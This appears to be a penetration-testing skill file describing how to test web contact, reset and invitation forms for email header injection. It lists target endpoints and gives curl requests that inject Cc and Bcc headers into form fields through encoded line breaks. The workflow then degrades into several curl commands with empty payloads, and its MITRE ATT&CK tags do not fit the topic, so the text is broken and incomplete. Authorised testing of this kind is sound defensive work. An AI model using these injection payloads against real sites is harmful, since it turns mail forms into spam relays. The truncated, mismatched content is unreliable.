testing-for-email-header-injection

name	testing-for-email-header-injection
description	Tests web application email functionality (contact forms, password reset, newsletter subscriptions) for CRLF/SMTP header injection using Burp Suite and OWASP ZAP, checking whether attackers can inject headers, modify recipients, or abuse forms for spam relay. Use when testing any user-input-driven email-sending feature during a penetration test.
domain	cybersecurity
subdomain	web-application-security
tags	["email-injection","smtp-injection","crlf-injection","header-injection","spam-relay","contact-form","email-security"]
version	1.0
author	mahipal
license	Apache-2.0
nist_csf	["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"]
mitre_attack	["T1190","T1059.007","T1505.003","T1083","T1055"]

Testing for Email Header Injection

When to Use

• When testing contact forms, feedback forms, or "email a friend" functionality
• During assessment of password reset email functionality
• When testing newsletter subscription or notification email systems
• During penetration testing of applications that send emails based on user input
• When auditing email-related API endpoints for header injection

Prerequisites

• Burp Suite for intercepting and modifying HTTP requests
• Understanding of SMTP protocol and email header structure
• Knowledge of CRLF injection techniques (\r\n sequences)
• Test email accounts for receiving injected emails
• Access to application features that trigger email sending
• SMTP server logs access for monitoring injection attempts

Workflow

Step 1 — Identify Email Injection Points

# Identify form fields that end up in email headers:
# - "From" name or email address fields
# - "To" or "CC" fields in sharing features
# - Subject line inputs
# - Reply-To fields

# Common endpoints:
# POST /contact - Contact forms
# POST /share - Share via email features
# POST /invite - Invitation systems
# POST /api/send-email - Email API endpoints
# POST /forgot-password - Password reset forms

# Test basic functionality first
curl -X POST http://target.com/contact \
  -d "name=Test&email=[e-mail]&subject=Hello&message=Test message"

Step 2 — Test for CRLF Header Injection

# Inject additional email headers via CRLF in the email field
curl -X POST http://target.com/contact \
  -d "name=Test&email=[e-mail]%0ACc:[e-mail]&message=Test"

# Inject BCC header
curl -X POST http://target.com/contact \
  -d "name=Test&email=[e-mail]%0ABcc:[e-mail]&message=Test"

# Inject via the name field
curl -X POST http://target.com/contact \
  -d "name=Test%0ACc:[e-mail]&email=[e-mail]&message=Test"


curl -X POST http://target.com/contact \
  -d 



curl -X POST http://target.com/contact \
  -d 


curl -X POST http://target.com/contact \
  -d 


curl -X POST http://target.com/contact \
  -d 


curl -X POST http://target.com/contact \
  -d